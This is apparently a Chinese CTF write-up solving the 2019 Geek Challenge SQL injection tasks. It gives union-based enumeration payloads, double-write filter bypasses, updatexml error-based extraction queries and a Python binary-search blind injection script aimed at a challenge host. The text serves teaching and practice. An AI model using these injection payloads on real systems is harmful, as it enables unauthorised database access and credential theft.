EasySQL(万能密码)

懂的就懂,不懂的别学了

loveSQL(最最最最最基本的联合查询)

难度:简单

登陆后进行简单测试发现是字符型注入

order by 测试数据库有多少字段

2019极客大挑战-sql注入全解 - 图1

发现有3列,而且也没有发现什么过滤的东西。那不就随便玩了么

查数据库

  1. admin'union+select+1,2,group_concat(schema_name)+from+information_schema.schemata#

其实一般我用 union select 1,2,database()#

2019极客大挑战-sql注入全解 - 图2

查数据表

12' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #

2019极客大挑战-sql注入全解 - 图3

查列名

12' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' %23

2019极客大挑战-sql注入全解 - 图4

找flag

12' union select 1,2,group_concat(password) from l0ve1ysq1 %23

2019极客大挑战-sql注入全解 - 图5

BabySQL(双写绕过)

难度:简单

这题在之前的基础有了过滤,有人问,你怎么知道过滤呢。首先我们按照之前的方法写这一题的时候,我们发现有些关键词消失了

2019极客大挑战-sql注入全解 - 图6

or消失了,所以我们猜测存在过滤替换为’’(空),那我们就尝试bp的字典跑一下

2019极客大挑战-sql注入全解 - 图7我们发现有321和751和726状态的,我们试一下321的随便一个BY(sql无需注意大小写)

2019极客大挑战-sql注入全解 - 图8

很明显我们的猜测是对的

绕过方法很简单,双写就好了

查数据库

  1. /check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%20%23

2019极客大挑战-sql注入全解 - 图9

查数据表

  1. /check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema%3Ddatabase()%23

2019极客大挑战-sql注入全解 - 图10

查列名

  1. /check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema%3Ddatabase()%20anandd%20table_name%3D%27b4bsql%27%23

2019极客大挑战-sql注入全解 - 图11

查flag

  1. /check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(passwoorrd)%20frfromom%20b4bsql%23

2019极客大挑战-sql注入全解 - 图12

图有点长,反正就出来了

HardSql(报错注入)

难度:中等

不出意外,这次的过滤一定比第三次更严格,而且回显也不一样了。

2019极客大挑战-sql注入全解 - 图13很嚣张啊

上字典!跑一跑

2019极客大挑战-sql注入全解 - 图14不出意外736应该是用不了的

最恶心的是他过滤了空格和and。。

那我们只能想到,要么是堆叠?不行,堆叠也需要空格,那。。报错?报错也有,但是好像可以修改

了解一下

2019极客大挑战-sql注入全解 - 图15

查数据库信息

admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))#

2019极客大挑战-sql注入全解 - 图16

查数据表

admin’or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

2019极客大挑战-sql注入全解 - 图17

查字段

admin’or(updatexml(1,concat(0x7e,(select(group_concat(username,’~’,password))from(H4rDsq1)),0x7e),1))#

2019极客大挑战-sql注入全解 - 图18

怎么才一半呢

由于updatexml只能最多显示32的长度,导致flag显示不全。然后用substr截取下来,发现substr被过滤了

看到网上有用left和right截取函数两次把完整的flag弄出来了

admin’or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

2019极客大挑战-sql注入全解 - 图19

admin’^updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1)#

2019极客大挑战-sql注入全解 - 图20

FinalSQL(盲注)

难度:难

上脚本吧 我写不出的

#然后是二分法,二分法要快很多: # -- coding: UTF-8 -- import re import requests import string #url = “http://5917b5ed-cf38-4d72-90c9-bf1cc3f37ea8.node3.buuoj.cn/search.php flag = ‘’ def payload(i,j): # sql = “1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1”%(i,j) #数据库名字 # sql = “1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=’geek’),%d,1))>%d)^1”%(i,j) #表名 # sql = “1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=’F1naI1y’)),%d,1))>%d)^1”%(i,j) #列名 sql = “1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1”%(i,j) data = {“id”:sql} r = requests.get(url,params=data) # print (r.url) if “Click” in r.text: res = 1 else: res = 0 return res def exp(): global flag for i in range(1,10000) : print(i,‘:’) low = 31 high = 127 while low <= high : mid = (low + high) // 2 res = payload(i,mid) if res : low = mid + 1 else : high = mid - 1 f = int((low + high + 1)) // 2 if (f == 127 or f == 31): break # print (f) flag += chr(f) print(flag) exp() print(‘flag=’,flag)